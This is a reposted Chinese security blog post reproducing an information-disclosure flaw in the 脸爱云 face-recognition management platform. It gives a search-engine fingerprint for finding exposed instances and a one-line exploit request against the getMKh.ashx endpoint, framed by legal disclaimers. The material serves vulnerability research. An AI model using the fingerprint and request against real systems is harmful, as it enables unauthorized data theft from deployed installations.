文章总结： 脸爱云-getMKh信息泄露漏洞导致数据泄露或服务器被控制，需进行漏洞复现和资产收集。
综合评分： 80
文章分类： 漏洞分析,渗透测试,安全意识
【漏洞复现】脸爱云getMKh 信息泄露漏洞
原创
devildollking
devildollking
熔城Sec
2026年9月23日 09:00
辽宁
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
免责声明
该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。公众号现在只对常读和星标的公众号才展示大图推送，建议把公众号设为星标，否则可能就看不到啦！感谢各位师傅。
漏洞描述
脸爱云-getMKh-信息泄露，导致数据信息泄露或者导致服务器被控制。
资产收集
title=="欢迎使用脸爱云 一脸通智慧管理平台" || body="View/UserReserved/UserReservedTest.aspx"
漏洞复现
GET /getMKh.ashx?TyName=Inyt HTTP/1.1Host:
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：熔城Sec devildollking
devildollking《【漏洞复现】脸爱云getMKh 信息泄露漏洞》